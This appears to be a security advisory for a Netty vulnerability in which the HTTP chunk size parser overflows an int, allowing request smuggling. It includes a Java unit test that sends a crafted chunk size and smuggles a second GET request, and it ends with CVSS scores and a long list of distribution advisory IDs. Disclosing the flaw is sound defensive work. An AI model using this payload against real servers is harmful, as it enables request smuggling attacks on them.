CVE-2026-42580
ADVISORY - githubSummary
Summary
Netty's chunk size parser silently overflows int, enabling request smuggling attacks.
Details
io.netty.handler.codec.http.HttpObjectDecoder#getChunkSize silently overflows int.
The size is accumulated as follows:
result *= 16; result += digit;
The result is checked only for negative values. However, with a carefully crafted chunk size, the result can be a valid size.
PoC
The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a chunked body.
@Test
public void test() {
String requestStr = "POST / HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Transfer-Encoding: chunked\r\n\r\n" +
"100000004\r\n" +
"test\r\n" +
"0\r\n" +
"\r\n" +
"GET /smuggled HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Content-Length: 0\r\n" +
"\r\n";
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));
// Request 1
HttpRequest request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
HttpContent content = channel.readInbound();
assertTrue(content.decoderResult().isSuccess());
assertEquals("test", content.content().toString(CharsetUtil.US_ASCII));
content.release();
LastHttpContent last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
// Request 2
request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
}
Impact
HTTP Request Smuggling: Attacker injects arbitrary HTTP requests
NIST
CVSS SCORE
6.5mediumGitHub
CVSS SCORE
6.5mediumDebian
-
Ubuntu
-
CVSS SCORE
N/AmediumChainguard
CGA-xcq7-9mqx-6hmq
-
minimos
MINI-283x-rw7f-6r78
-
minimos
MINI-2h22-vp33-65g4
-
minimos
MINI-2m83-q8rw-fqch
-
minimos
MINI-2qw8-f6p3-v3h6
-
minimos
MINI-368p-fq9v-h4vp
-
minimos
MINI-39xq-9fhq-j48f
-
minimos
MINI-3c87-vrrq-qrhg
-
minimos
MINI-3pc6-r8m7-7pwr
-
minimos
MINI-3rxq-m6h5-9w4c
-
minimos
MINI-4g8h-xjp2-3j37
-
minimos
MINI-4j73-rr2g-3wcp
-
minimos
MINI-4m86-w967-c77j
-
minimos
MINI-557q-3xc7-h944
-
minimos
MINI-55p7-9m68-h6cg
-
minimos
MINI-5hp4-9hcm-c448
-
minimos
MINI-5r4j-367p-3crc
-
minimos
MINI-6487-qj3g-987m
-
minimos
MINI-69p4-hfvh-fgmf
-
minimos
MINI-6hpv-52j8-2h73
-
minimos
MINI-6jjx-cf7f-6g6g
-
minimos
MINI-6q85-cvhh-w2pr
-
minimos
MINI-6q9w-gcxw-22ff
-
minimos
MINI-7267-5gp7-p6vf
-
minimos
MINI-7hv8-pp6g-qwc8
-
minimos
MINI-7j54-phfm-3pqx
-
minimos
MINI-7vr4-6qv4-fr37
-
minimos
MINI-85vc-4jmc-6jr9
-
minimos
MINI-86wq-4f5j-x4wp
-
minimos
MINI-888r-hc28-h8j7
-
minimos
MINI-89gr-q49v-mrvc
-
minimos
MINI-89wm-7w32-9fjg
-
minimos
MINI-8q7r-2g46-3pjm
-
minimos
MINI-8vxc-r9x7-gcmc
-
minimos
MINI-9262-f7mj-6xg9
-
minimos
MINI-9463-rfg8-gq9w
-
minimos
MINI-9c7p-w6j5-qrxx
-
minimos
MINI-9w2c-228r-887g
-
minimos
MINI-c777-3xr9-j7v4
-
minimos
MINI-cf6v-486m-p69q
-
minimos
MINI-cjqc-2m4r-9c8r
-
minimos
MINI-cp28-3c8p-286p
-
minimos
MINI-crjm-c3x8-3558
-
minimos
MINI-f8mv-p5mq-2684
-
minimos
MINI-ff8j-f9rg-56cm
-
minimos
MINI-fq9v-xmcc-75f8
-
minimos
MINI-fr92-fpf7-v28p
-
minimos
MINI-g6cw-8xfh-5whm
-
minimos
MINI-g8q9-cghh-crwj
-
minimos
MINI-ghpx-2ccp-q8wm
-
minimos
MINI-gphq-hjg8-662m
-
minimos
MINI-grqf-fm8v-h2f3
-
minimos
MINI-gwgg-vjq8-4hx3
-
minimos
MINI-hfqj-h82r-vr4r
-
minimos
MINI-hjq5-9524-54xp
-
minimos
MINI-hr2g-gwp3-2jqx
-
minimos
MINI-j837-rf8p-wf43
-
minimos
MINI-jcp4-962c-w38c
-
minimos
MINI-jfv5-2g4g-9vwp
-
minimos
MINI-m343-2rqw-fx28
-
minimos
MINI-m3fj-7v6v-7c56
-
minimos
MINI-m5v6-g22v-4xmh
-
minimos
MINI-m8r5-gjh7-q3qw
-
minimos
MINI-m9q9-mpwq-62r7
-
minimos
MINI-mj6p-hv9v-j6pm
-
minimos
MINI-mphh-82g3-7jxh
-
minimos
MINI-p25f-qrv3-9vmh
-
minimos
MINI-p7h7-wrh2-qrm4
-
minimos
MINI-pgm9-22fg-r6g6
-
minimos
MINI-pw63-p2p3-25wc
-
minimos
MINI-q43h-7j4c-96vh
-
minimos
MINI-q99f-m776-vm3p
-
minimos
MINI-qc7j-rf35-hx24
-
minimos
MINI-r49c-p857-5wgh
-
minimos
MINI-r877-9xhw-798q
-
minimos
MINI-rf5j-mr32-mcwh
-
minimos
MINI-rgh9-55jm-cvj3
-
minimos
MINI-rpf7-f3q9-9rr5
-
minimos
MINI-rwf8-ch9x-j2gp
-
minimos
MINI-rxmh-674g-c73p
-
minimos
MINI-v769-pw9g-rm4x
-
minimos
MINI-vr3v-6q4q-8p73
-
minimos
MINI-vvfm-87rr-vcfc
-
minimos
MINI-vvgp-x7mj-w65q
-
minimos
MINI-vx7q-fxrm-x4c5
-
minimos
MINI-w7c2-g53j-86x9
-
minimos
MINI-wwfh-ww53-42j4
-
minimos
MINI-wxrc-gxrw-p569
-
minimos
MINI-x3h6-g9xx-jpx9
-
minimos
MINI-x474-jwv7-c5cm
-
minimos
MINI-x54r-8r39-hg22
-
minimos
MINI-xjr5-fqrp-9wcg
-
minimos
MINI-xjw5-5v2r-xjwg
-
minimos
MINI-xm25-gwcg-pfc2
-
minimos
MINI-xw9v-465w-3rxf
-